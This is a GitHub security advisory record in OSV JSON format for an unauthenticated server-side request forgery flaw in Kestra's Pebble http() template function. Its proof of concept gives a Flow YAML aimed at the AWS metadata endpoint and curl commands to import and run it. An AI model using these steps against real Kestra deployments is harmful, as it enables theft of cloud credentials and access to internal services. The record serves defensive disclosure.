{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.kestra:core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.3.31"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.kestra:kestra-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73247"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T17:15:50Z",
    "nvd_published_at": "2026-08-11T22:19:05Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe Pebble template engine\u0027s `http()` function in Kestra OSS accepts user-controlled URLs without any validation, allowing Server-Side Request Forgery (SSRF) attacks. An unauthenticated attacker can import a malicious Flow YAML and execute it to access internal services, cloud metadata endpoints (AWS 169.254.169.254), or localhost services. The vulnerability affects all Kestra OSS deployments with default configuration.\n\n### Details\nThe root cause is in `core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java` (lines 77-106):\n\n1. **No URL validation**: User input is passed directly to `URI.create()` with no checks for private IPs, internal hosts, or restricted schemes\n2. **No IP filtering**: Missing checks for 10.0.0.0/8, 192.168.0.0/16, 169.254.169.254, 127.0.0.1\n3. **No scheme restriction**: `file://`, `gopher://` schemes are not blocked\n4. **No authentication required**: `TenantValidationFilter.java` only checks tenant == \"main\" \u2014 no authentication\n5. **Unconditional registration**: `HttpFunction` is registered without any feature flags in `Extension.java:180`\n\n### PoC\n**Prerequisites:**\n```bash\ndocker run -d --name kestra-ssrf -p 8080:8080 kestra/kestra:latest server local\nsleep 30\n```\n\n**Step 1: Create malicious Flow YAML**\n```yaml\ncat \u003e /tmp/ssrf_poc.yaml \u003c\u003c \u0027YAML\u0027\nid: ssrf_metadata\nnamespace: company.team\ntasks:\n  - id: exfiltrate\n    type: io.kestra.plugin.core.log.Log\n    message: |\n      {{ http(uri=\u0027http://169.254.169.254/latest/meta-data/\u0027, method=\u0027GET\u0027) }}\nYAML\n```\n\n**Step 2: Import without authentication**\n```bash\ncurl -X POST http://localhost:8080/api/v1/main/flows/import \\\n  -F \"fileUpload=@/tmp/ssrf_poc.yaml\"\n```\n\n**Step 3: Execute the flow**\n```bash\ncurl -X POST http://localhost:8080/api/v1/main/executions/company.team/ssrf_metadata\n```\n\n**Step 4: Verify** \u2014 the flow execution output contains AWS EC2 metadata (ami-id, instance-type, IAM credentials if available)\n\n### Impact\n- **CVSS 3.1**: 8.6 (HIGH) \u2014 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N\n- **CWE**: CWE-918 (Server-Side Request Forgery)\n- **Affected**: All Kestra OSS versions (default deployment)\n- **Impact**: Attackers can access internal services, cloud metadata (AWS/GCP/Azure), localhost endpoints, and potentially escalate to cloud credential theft",
  "id": "GHSA-r56g-q4p6-m3p6",
  "modified": "2026-09-17T17:15:50Z",
  "published": "2026-09-17T17:15:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kestra-io/kestra/security/advisories/GHSA-r56g-q4p6-m3p6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73247"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kestra-io/kestra"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kestra: SSRF via Pebble http() function allows unauthenticated access to internal services \u0026 cloud metadata"
}